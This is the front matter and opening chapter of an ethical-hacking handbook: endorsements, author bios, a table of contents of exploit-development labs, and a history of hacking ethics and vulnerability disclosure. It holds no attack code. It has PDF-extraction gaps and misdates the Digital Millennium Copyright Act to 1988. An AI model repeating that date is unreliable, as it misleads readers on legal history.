Read 1
Read 1
Read 1
“Offensive security covers such a broad array of topics that it can be extremely difficult to
find reference material that provides even surface-level coverage of it. Gray Hat Hacking:
The Ethical Hacker’s Handbook, Sixth Edition manages to cover a surprisingly large subset
of specialist areas within the field, all while diving deep enough to shine a light on some
of the more interesting and challenging nuances of those areas. It’s a worthy addition to
the hacker’s bookshelf.”
—OJ Reeves
Director, Beyond Binary
“This book has been a staple of the development and careers of many, and its sixth edition
delivers on expectations with fresh material and content to help push people to the next
level. It’s a phenomenal contribution to anyone’s skill set and written by true experts;
Stephen Sims and the other authors are people that I respect and routinely read whatever
they put out. Readers will find this to be a practical resource worthy of any bookshelf of
any practitioner in our field.”
—Robert M. Lee
Senior SANS Instructor and CEO/Co-Founder of Dragos, Inc.
“The chapters on Hyper-V in Gray Hat Hacking: The Ethical Hacker’s Handbook,
Sixth Edition are the most complete public resources I have seen to date. Not only do
they provide a general overview of the architecture, they also provide in-depth scripts
that can be used to understand the internals very well. I’m very impressed with all of the
resources attached to these chapters. If you are interested in hypervisors and/or Hyper-V
in any form, give this book a shot.”
—Matt Suiche
Founder, Comae
This page intentionally left blank
Gray Hat
Hacking
The Ethical Hacker’s
Handbook
This page intentionally left blank
Gray Hat
Hacking
The Ethical Hacker’s
Handbook
Sixth Edition
ISBN: 978-1-26-426895-5
MHID: 1-26-426895-5
The material in this eBook also appears in the print version of this title: ISBN: 978-1-26-426894-8,
MHID: 1-26-426894-7.
All trademarks are trademarks of their respective owners. Rather than put a trademark symbol after every occurrence of a
trademarked name, we use names in an editorial fashion only, and to the benefit of the trademark owner, with no intention of
infringement of the trademark. Where such designations appear in this book, they have been printed with initial caps.
McGraw-Hill Education eBooks are available at special quantity discounts to use as premiums and sales promotions or for
use in corporate training programs. To contact a representative, please visit the Contact Us page at www.mhprofessional.com.
Information has been obtained by McGraw Hill from sources believed to be reliable. However, because of the possibility of
human or mechanical error by our sources, McGraw Hill, or others, McGraw Hill does not guarantee the accuracy, adequacy,
or completeness of any information and is not responsible for any errors or omissions or the results obtained from the use of
such information.
TERMS OF USE
This is a copyrighted work and McGraw-Hill Education and its licensors reserve all rights in and to the work. Use of this work
is subject to these terms. Except as permitted under the Copyright Act of 1976 and the right to store and retrieve one copy of the
work, you may not decompile, disassemble, reverse engineer, reproduce, modify, create derivative works based upon, transmit,
distribute, disseminate, sell, publish or sublicense the work or any part of it without McGraw-Hill Education’s prior consent.
You may use the work for your own noncommercial and personal use; any other use of the work is strictly prohibited. Your
right to use the work may be terminated if you fail to comply with these terms.
THE WORK IS PROVIDED “AS IS.” McGRAW-HILL EDUCATION AND ITS LICENSORS MAKE NO GUARANTEES
OR WARRANTIES AS TO THE ACCURACY, ADEQUACY OR COMPLETENESS OF OR RESULTS TO BE OBTAINED
FROM USING THE WORK, INCLUDING ANY INFORMATION THAT CAN BE ACCESSED THROUGH THE WORK
VIA HYPERLINK OR OTHERWISE, AND EXPRESSLY DISCLAIM ANY WARRANTY, EXPRESS OR IMPLIED, IN-
CLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PAR-
TICULAR PURPOSE. McGraw-Hill Education and its licensors do not warrant or guarantee that the functions contained in
the work will meet your requirements or that its operation will be uninterrupted or error free. Neither McGraw-Hill Education
nor its licensors shall be liable to you or anyone else for any inaccuracy, error or omission, regardless of cause, in the work
or for any damages resulting therefrom. McGraw-Hill Education has no responsibility for the content of any information ac-
cessed through the work. Under no circumstances shall McGraw-Hill Education and/or its licensors be liable for any indirect,
incidental, special, punitive, consequential or similar damages that result from the use of or inability to use the work, even if
any of them has been advised of the possibility of such damages. This limitation of liability shall apply to any claim or cause
whatsoever whether such claim or cause arises in contract, tort or otherwise.
In Memory of Shon Harris
Each time we write a new edition, all of my memories of Shon come to the surface. As you
know from previous editions, we lost Shon on October 8, 2014. She was a great friend,
pioneer in the field, and beloved subject matter expert of cybersecurity. She brought
me into the first Gray Hat Hacking project. We were actually working toward creating
another book at the time, but it did not pan out, so the Gray Hat Hacking book was born.
I owe much of what I have accomplished in the field to the great start she so generously
gave me, back in 2002 when I first met her at a CISSP bootcamp. I had no clue who Shon
was when I signed up for the bootcamp, but that chance encounter changed my life. Her
passion for the field and her work ethic were contagious and inspired me to be the best
I could be, as I tried to live up to her high standard. I will always remember her and how
much I learned from her. Please join me and the other authors as we continue to honor
her memory and her desire to improve the world through cybersecurity. We dedicate this
book to her memory.
—Allen Harper
Lead author and friend of Shon Harris
To my brothers and sisters in Christ, keep running the race. Let your light shine for Him,
that others may be drawn to Him through you.
—Allen Harper
To my wife, thank you for your constant encouragement and faith, and for pushing me
to push myself.
—Ryan Linn
To my lovely wife Leanne and my daughter Audrey, thank you for your ongoing support!
—Stephen Sims
To my daughter Tiernan, thank you for your support and continuous reminders to enjoy
life and learning each and every day. I look forward to seeing the wonderful woman you
will become.
—Michael Baucom
To my beautiful wife Zoe and our children Alexander and Axel, thank you for your
continuous love and support, and for always trusting in me and encouraging all my crazy
new ideas.
—Huáscar Tejeda
To my beautiful wife Vanesa and my family for their support and their patience every
time I come up with a new project.
—Daniel Fernandez
To my wife Gina and my daughter Juliet, who I am so proud of. Thank you for putting
up with most of my harebrained ideas.
—Moses Frost
This page intentionally left blank
ABOUT THE AUTHORS
Dr. Allen Harper, CISSP, retired in 2007 from the military as a Marine Corps Officer
after a tour in Iraq. He has more than 30 years of IT/security experience. He holds a
PhD in IT with a focus on information assurance and security from Capella, an MS in
computer science from the Naval Postgraduate School, and a BS in computer engineer-
ing from North Carolina State University. In 2004, Allen led the development of the
GEN III Honeywall CD-ROM, called roo, for the Honeynet Project. Since then, he
has worked as a security consultant for many Fortune 500 and government entities. His
interests include the Internet of Things, reverse engineering, vulnerability discovery, and
all forms of ethical hacking. Allen was the founder of N2NetSecurity, Inc., served as the
EVP and chief hacker at Tangible Security, program director at Liberty University, and
now serves as EVP of cybersecurity at T-Rex Solutions, LLC, in Greenbelt, Maryland.
Ryan Linn, CISSP, CSSLP, OSCP, OSCE, GREM, has over 20 years in the security
industry, ranging from systems programmer to corporate security to leading a global
cybersecurity consultancy. Ryan has contributed to a number of open source projects,
including Metasploit, the Browser Exploitation Framework (BeEF), and Ettercap. Ryan
participates in Twitter as @sussurro, and he has presented his research at numerous
security conferences, including Black Hat, DEF CON, Thotcon, and Derbycon, and has
provided training in attack techniques and forensics worldwide.
Stephen Sims is an industry expert with over 15 years of experience in information
technology and security. Stephen currently works out of the San Francisco Bay Area as a
consultant. He has spent many years performing security architecture, exploit develop-
ment, reverse engineering, and penetration testing for various Fortune 500 companies, and
he has discovered and responsibly disclosed a wide range of vulnerabilities in commercial
products. Stephen has an MS in information assurance from Norwich University and cur-
rently leads the Offensive Operations curriculum at the SANS Institute. He is the author
of the SANS Institute’s only 700-level course, SEC760: Advanced Exploit Development
for Penetration Testers, which concentrates on complex heap overflows, patch diffing, and
client-side exploits. He holds the GIAC Security Expert (GSE) certification as well as the
CISA, Immunity NOP, and many others. In his spare time, Stephen enjoys snowboarding
and writing music.
Michael Baucom has over 25 years of industry experience, ranging from embedded
systems development to leading the product security and research division at Tangible
Security. With more than 15 years of security experience, he has performed security
assessments of countless systems across a multitude of areas, including medical, indus-
trial, networking, and consumer electronics. Michael has been a trainer at Black Hat,
speaker at several conferences, and both an author and technical editor for Gray Hat
Hacking: The Ethical Hacker’s Handbook. His current interests are in embedded system
security and development.
Huáscar Tejeda is the co-founder and CEO of F2TC Cyber Security. He is a seasoned,
thoroughly experienced cybersecurity professional, with more than 20 years and notable
achievements in IT and telecommunications, developing carrier-grade security solutions
and business-critical components for multiple broadband providers. He is highly skilled
in security research, penetration testing, Linux kernel hacking, software development,
and embedded hardware design. Huáscar is also a member of the SANS Latin America
Advisory Group, SANS Purple Team Summit Advisory Board, and contributing author
of the SANS Institute’s most advanced course, SEC760: Advanced Exploit Development
for Penetration Testers.
Daniel Fernandez is a security researcher with over 15 years of industry experience.
Over his career, he has discovered and exploited vulnerabilities in a vast number of
targets. During the last years, his focus had shifted to hypervisors, where he has found
and reported bugs in products such as Microsoft Hyper-V. He has worked at several
information security companies, including Blue Frost Security GmbH and Immunity,
Inc. Recently, he co-founded TACITO Security. When not breaking software, Daniel
enjoys training his working dogs.
Moses Frost started his career in designing and implementing large-scale networks
around the year 2000. He has worked with computers in some form or another since the
early 1990s. His past employers include TLO, Cisco Systems, and McAfee. At Cisco Sys-
tems, he was a lead architect for its Cyber Defense Clinics. This free information security
dojo was used in educating individuals from the high school and university levels as well
as in many enterprises. At Cisco, he was asked to work on crucial security projects such
as industry certifications. Moses is an author and senior instructor at the SANS Institute.
His technology interests include web app penetration testing, cloud penetration testing,
and red team operations. He currently works as a red team operator at GRIMM.
Disclaimer: The views expressed in this book are those of the authors and not of the
U.S. government or any company mentioned herein.
Part I Preparation
Chapter 1 Gray Hat Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Chapter 2 Programming Survival Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Chapter 3 Linux Exploit Development Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Chapter 4 Introduction to Ghidra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Chapter 5 IDA Pro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
xi
Gray Hat Hacking: The Ethical Hacker’s Handbook
xii
Part IV Hacking IoT
Chapter 19 Internet o Things to Be Hacked . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 393
Chapter 20 Dissecting Embedded Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 409
Chapter 21 Exploiting Embedded Devices . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 427
Chapter 22 Sotware-Defned Radio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 447
Index. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 641
CONTENTS
Preface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxvii
Acknowledgments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxix
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xxxi
Part I Preparation
Chapter 1 Gray Hat Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Gray Hat Hacking Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
History of Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Ethics and Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Definition of Gray Hat Hacking . . . . . . . . . . . . . . . . . . . . . . 5
History of Ethical Hacking . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
History of Vulnerability Disclosure . . . . . . . . . . . . . . . . . . . . 6
Bug Bounty Programs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10
Know the Enemy: Black Hat Hacking . . . . . . . . . . . . . . . . . . . . . . 11
Advanced Persistent Threats . . . . . . . . . . . . . . . . . . . . . . . . . 11
Lockheed Martin Cyber Kill Chain . . . . . . . . . . . . . . . . . . . . 11
Courses of Action for the Cyber Kill Chain . . . . . . . . . . . . . . 13
MITRE ATT&CK Framework . . . . . . . . . . . . . . . . . . . . . . . 14
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
For Further Reading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Chapter 2 Programming Survival Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
C Programming Language . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Basic C Language Constructs . . . . . . . . . . . . . . . . . . . . . . . . 21
Lab 2-1: Format Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25
Lab 2-2: Loops . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27
Lab 2-3: if/else . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 28
Sample Programs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Lab 2-4: hello.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Lab 2-5: meet.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29
Compiling with gcc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30
Lab 2-6: Compiling meet.c . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Computer Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Random Access Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31
Endian . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Segmentation of Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
xiii
Gray Hat Hacking: The Ethical Hacker’s Handbook
xiv
Programs in Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32
Buffers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Strings in Memory . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Pointers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
Putting the Pieces of Memory Together . . . . . . . . . . . . . . . . . 35
Lab 2-7: memory.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35
Intel Processors . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Registers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36
Assembly Language Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Machine vs. Assembly vs. C . . . . . . . . . . . . . . . . . . . . . . . . . . 37
AT&T vs. NASM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37
Addressing Modes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40
Assembly File Structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41
Lab 2-8: Simple Assembly Program . . . . . . . . . . . . . . . . . . . . 41
Debugging with gdb . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
gdb Basics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
Lab 2-9: Debugging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42
Lab 2-10: Disassembly with gdb . . . . . . . . . . . . . . . . . . . . . . 44
Python Survival Skills . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
Getting Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45
Lab 2-11: Launching Python . . . . . . . . . . . . . . . . . . . . . . . . 46
Lab 2-12: “Hello, World!” in Python . . . . . . . . . . . . . . . . . . 46
Python Objects . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Lab 2-13: Strings . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 46
Lab 2-14: Numbers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48
Lab 2-15: Lists . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49
Lab 2-16: Dictionaries . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 50
Lab 2-17: Files with Python . . . . . . . . . . . . . . . . . . . . . . . . . 51
Lab 2-18: Sockets with Python . . . . . . . . . . . . . . . . . . . . . . . 53
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
For Further Reading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
Chapter 3 Linux Exploit Development Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Binary, Dynamic Information-Gathering Tools . . . . . . . . . . . . . . . . 55
Lab 3-1: Hello.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 55
Lab 3-2: ldd . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
Lab 3-3: objdump . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56
Lab 3-4: strace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58
Lab 3-5: ltrace . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 59
Lab 3-6: checksec . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60
Lab 3-7: libc-database . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
Lab 3-8: patchelf . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
Lab 3-9: one_gadget . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62
Lab 3-10: Ropper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63
Contents
xv
Extending gdb with Python . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64
Pwntools CTF Framework and Exploit Development Library . . . . . 64
Summary of Features . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
Lab 3-11: leak-bof.c . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65
HeapME (Heap Made Easy) Heap Analysis
and Collaboration Tool . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Installing HeapME . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67
Lab 3-12: heapme_demo.c . . . . . . . . . . . . . . . . . . . . . . . . . . 68
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
For Further Reading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70
Chapter 4 Introduction to Ghidra . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Creating Our First Project . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71
Installation and QuickStart . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Setting the Project Workspace . . . . . . . . . . . . . . . . . . . . . . . . 72
Functionality Overview . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Lab 4-1: Improving Readability with Annotations . . . . . . . . 80
Lab 4-2: Binary Diffing and Patch Analysis . . . . . . . . . . . . . . 83
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87
For Further Reading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
Chapter 5 IDA Pro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
Introduction to IDA Pro for Reverse Engineering . . . . . . . . . . . . . . 89
What Is Disassembly? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
Navigating IDA Pro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 92
IDA Pro Features and Functionality . . . . . . . . . . . . . . . . . . . . . . . . 96
Cross-References (Xrefs) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 96
Function Calls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 98
Proximity Browser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
Opcodes and Addressing . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
Shortcuts . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
Comments . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
Debugging with IDA Pro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
Summary . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
For Further Reading . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 641
PREFACE
This book has been developed by and for security professionals who are dedicated to
working in an ethical and responsible manner to improve the overall security posture of
individuals, corporations, and nations.
xxvii
This page intentionally left blank
ACKNOWLEDGMENTS
Each of the authors would like to thank the staff at McGraw Hill. In particular, we
would like to thank Wendy Rinaldi and Emily Walters. We could not have done this
book without you. Your expertise, tireless dedication, and attention to detail helped
make this book a success. Thanks for keeping us on track and for your patience with us
as we progressed.
We would also like to thank Heather Linn, our technical editor. She went above and
beyond as a technical editor and improved the book in many ways. She tirelessly ran all
the code in the book and often had to work with the authors to fix that code. Through-
out the process, she kept a sense of humor and encouraged us to do our best. As an
accomplished author in her own right, she completed our team.
Allen Harper would like to thank his wonderful wife Corann and beautiful daughters
Haley and Madison for their support and understanding as he chased yet another dream.
With each edition, it is neat to see our family grow and now spread apart, as we live in
different states. Haley and Madison, you are the joy of my life. I am so proud of you both
and am so excited for your future. Corann, I love you more than ever, and look forward
to spending the rest of our lives together! To my colleagues at T-Rex, thanks for bringing
the best out of me and challenging me to achieve even more.
Ryan Linn would like to thank Heather for her support, encouragement, and advice
as well as his family and friends for their support and for putting up with the long hours
and infrequent communication while the book was coming together.
Thanks to Jeff, Brian, Luke, Derek, Adrian, Shawn, Rob, Jon, Andrew, Tom, Todd,
Kelly, Debbie, and all the others who continue to push him to grow technically,
professionally, and in all aspects of life.
Stephen Sims would like to thank his wife Leanne and daughter Audrey for their
ongoing support with the time needed to research, write, work, teach, and travel.
He would also like to thank his parents George and Mary and his sister Lisa for their
support from afar. Finally, a special thanks to all of the brilliant security researchers who
contribute so much to the community with publications, lectures, and tools.
Finally, a special thank you to Jaime Geiger for writing the chapter on Windows
Kernel exploitation!
Michael Baucom would like to thank his wife Bridget and his daughter Tiernan for
their sacrifices and support in allowing him to pursue his professional goals.
He’d also like to thank his parents for their love and support and for instilling in
him the work ethic that has carried him to this point. Additionally, he’d like to thank
the Marine Corps for giving him the courage and confidence to understand that all
things are possible. Finally, he’d like to thank his brother in Christ, long-time friend,
and colleague Allen Harper. Nothing can be accomplished without a great team.
xxix
Gray Hat Hacking: The Ethical Hacker’s Handbook
xxx
Huáscar Tejeda would like to thank his wife Zoe and their children Alexander and
Axel for their continuous support and encouragement.
He would also like to thank his mother Raysa for having taught him by example the
importance of being passionate about inexhaustible study and hard work, as well as for
exposing him to music, painting, and mathematics at an early age. Additionally, he’d like
to thank his grandmother Milagros for her great love and for always believing in him
since he was a child. Also, a special thanks to his older brother Geovanny for inviting him
to the university to take computer science classes after learning of Huáscar’s strong com-
puter programming skills at the age of 13. And, finally, thanks go to his brother Aneudy
for always caring and being there for him.
Daniel Fernandez would like to thank his wife Vanesa for her love and support.
He’d also like to thank former colleagues and longtime friends Sebastian Fernandez,
Gottfrid Svartholm, and Bruno Deferrari. He considers himself lucky to have met them
and learn from them all these years. Finally, a special thanks to Rocky, a good friend
who many years ago gave him the opportunity that resulted in his best professional
experience.
Moses Frost would like to thank his wife Gina and daughter Juliet for their continued
love, support, and sacrifices throughout the years.
He’d also like to thank his parents who allowed him to pursue his passions. It was
not easy to break free and take chances. Finally, but not least, he’d like to thank some
former colleagues, mentors, and friends—Fernando Martinez, Joey Muniz, Ed Skoudis,
Jonathan Cran, and so many others who have helped him be a better person.
We, the authors, would also like to collectively thank Hex-Rays for the generous use
of their tool IDA Pro.
Finally, a special thank you to Jaime Geiger for writing the chapter on Windows
Kernel exploitation!
INTRODUCTION
Preparation
1
In this chapter, we cover the following topics:
• Gray hat hacking
• Vulnerability disclosure
• Advanced persistent threats (APTs)
• Cyber Kill Chain
• MITRE ATT&CK framework
What is a gray hat hacker? Why should you care? In this chapter, we attempt to define
what a gray hat hacker is and why they are so vital to the cybersecurity field. In short,
they stand in the gap between white hat hackers and black hat hackers and serve as ethi-
cal hackers, never breaking the law, but instead making the world a better place through
applying their skills for good. Now, this concept is controversial, and good people may
disagree on this topic. So, in this chapter, we try to set the record straight and give a call
to action—that you join us as gray hat hackers and practice ethical hacking in a respon-
sible manner. We also lay the foundation of other critical topics discussed throughout
the book.
History of Hacking
Ethical hacking has not always been accepted as a legal profession. There was a time
when any form of hacking, regardless of the intent, was regarded as a purely criminal
exercise. As technology has evolved and become more pervasive in our lives, so have the
understanding of hacking and the laws that govern its use. For many of the readers of
3
Gray Hat Hacking: The Ethical Hacker’s Handbook
4
this book, these are concepts that are simply lost to history. However, it is important to
understand this history and give credit to the hard work of the founders of the field who
made it possible to pursue this career. We provide this information not only to inform
but also to protect the ability of professionals to apply their hacking skills ethically so that
they may continue to make the world a better place.
There was a time when fewer rules governed the use of computers because the skills
and knowledge of lawmakers and law enforcement lagged during the rapid evolution of
networked systems. Hackers who might attack systems out of curiosity or even mischief,
however, had found a new world of opportunity. Not everyone indulging their curiosity
did so without harm. However, the resulting clash with authority figures who were unable
to understand the systems meant many benevolent, bright and intelligent hackers were
labeled as criminals by much of the world’s software vendors and governments, regardless
of their intent. You see, people are afraid of what they do not understand, and many will
only understand that a hacker broke into a system without permission—not that they
intended no harm when doing so (https://www.discovermagazine.com/technology/the-
story-of-the-414s-the-milwaukee-teenagers-who-became-hacking-pioneers).
In 1986 the United States passed the Computer Fraud and Abuse Act to shore up
existing computer fraud laws. This expressly prohibited access to computing systems without
authorization, or in excess of authorization, and was designed to protect critical government
systems. Shortly thereafter, the Digital Millennium Copyright Act was released in 1988. This
criminalized attacks against access control or digital rights management (DRM). In a time
when computer hacking was not only misunderstood, but feared, the resulting environment
for security researchers could be very hostile. Legitimate researchers in the hacking community
were now left to fear that finding vulnerabilities and reporting them could result in legal
action or even jail time, according to one or both of these acts, given the argument that code
was copyrighted and reverse engineering was therefore illegal, or that unauthorized access to
any system (not only government systems) must be criminal (refer to Edelman v. N2H2,
Felton et al. v. RIAA, and https://klevchen.ece.illinois.edu/pubs/gsls-ccs17.pdf). This still
happens some places (https://www.bleepingcomputer.com/news/security/ethical-hacker-
exposes-magyar-telekom-vulnerabilities-faces-8-years-in-jail/).
Increased pressure for hackers to distinguish themselves from criminals led many
researchers to define for themselves a set of ethics that could bring no legal question,
while others questioned the chilling effect of the law and the overall reaction to security
research. Those in the first camp became known as “white hat hackers,” choosing to
discuss known weaknesses with only the minimum amount of detail possible in order
to try to get things fixed. These hackers also chose to eschew techniques that might
possibly cause harm during their research and to only perform actions that involved full
permission. This left the rest to be marked as “black hat hackers,” for anyone who might
question the goodness of the law.
Yet, a third group emerged. Hackers who desired not to do harm but to make things
better found themselves frustrated by the inability to make positive change in face of
these limitations. Where were the laws to hold software makers and providers accountable
for security decisions that negatively impacted consumers? Discovery of vulnerabilities
had not stopped; it had simply been forced underground, while white hat techniques
Chapter 1: Gray Hat Hacking
5
remained hampered in what they were able to discover by legal limitations on their
methods. For some subset of hackers, it was not all about following the rules, but it was
PART I
not about personal gain or causing harm, either.
The phrase “gray hat hacking” was first mentioned by Peiter “Mudge” Zatko, in 1997,
in the first Black Hat proceedings,1 when he announced that he would start working with
Microsoft to resolve vulnerabilities.2 At the same event, his fellow hacker in the hacking
group L0pht, Weld Pond, said it best: “First off, being grey does not mean you engage in
any criminal activity or condone it. We certainly do not. Each individual is responsible for
his or her actions. Being grey means you recognize that the world is not black or white.”3
Later, in 1999, L0pht used the term in an article.4 (By the way, when we first decided to
write Gray Hat Hacking, we started by using the phrase “grey hat” (spelled with an e), only
to find out from the publisher that “grey” is a more common spelling in the UK, so it was
decided to use “gray” instead, which is more commonly used in the US.)
L0pht and other pioneers in the field used their knowledge to educate authority figures,
including testifying in front of congress. This education has helped evolve attitudes toward
hacking and security research so that legitimate practitioners today can conduct work that
makes computer security better, with less fear of prosecution due to misunderstanding.
However, it is a delicate balance, and the battle to maintain that balance continues with
every new case, with every new technology, and with every new hacker.
PART I
weakness? How much detail is appropriate? Will customers apply the patch if they don’t
understand the danger of not patching?
The answers to all of these questions are often hotly contended. Some researchers may
find non-disclosure untenable if a vendor chooses not to take action on a vulnerability.
Lingering danger to consumers in face of ongoing vulnerability can be frustrating when
there is no other authority to hold a vendor responsible for security. However, even
security-committed vendors may operate under the demands of many researchers,
budgets, product managers, consumers, and investors, requiring a rebalancing of
priorities that cannot always satisfy every researcher. There is no formal consensus on
these matters.
Common methods of disclosure include full vendor disclosure, full public disclosure,
and coordinated disclosure. In the spirit of ethical hacking, we lean toward the concept
of coordinated disclosure; however, we hope that we present the options in a compelling
manner and let you, the reader, decide.
NOTE These terms are controversial, and some may prefer “partial vendor
disclosure” as an option to handle cases when proof of concept (POC) code
is withheld and when other parties are involved in the disclosure process. To
keep it simple, in this book we will stick with the aforementioned terms.
Coordinated Disclosure
So far, we have discussed the two extremes: full vendor disclosure and full public dis-
closure. Now, let’s take a look at a method of disclosure that falls in between the two:
coordinated disclosure.
In 2007, Mark Miller of Microsoft formally made a plea for “responsible disclosure.”
He outlined the reasons, including the need to allow time for a vendor, such as Microsoft,
to fully fix an issue, including the surrounding code, in order to minimize the potential
Chapter 1: Gray Hat Hacking
9
for too many patches.12 Miller made some good points, but others have argued that
responsible disclosure is tilted toward vendors, and if Microsoft and others had not
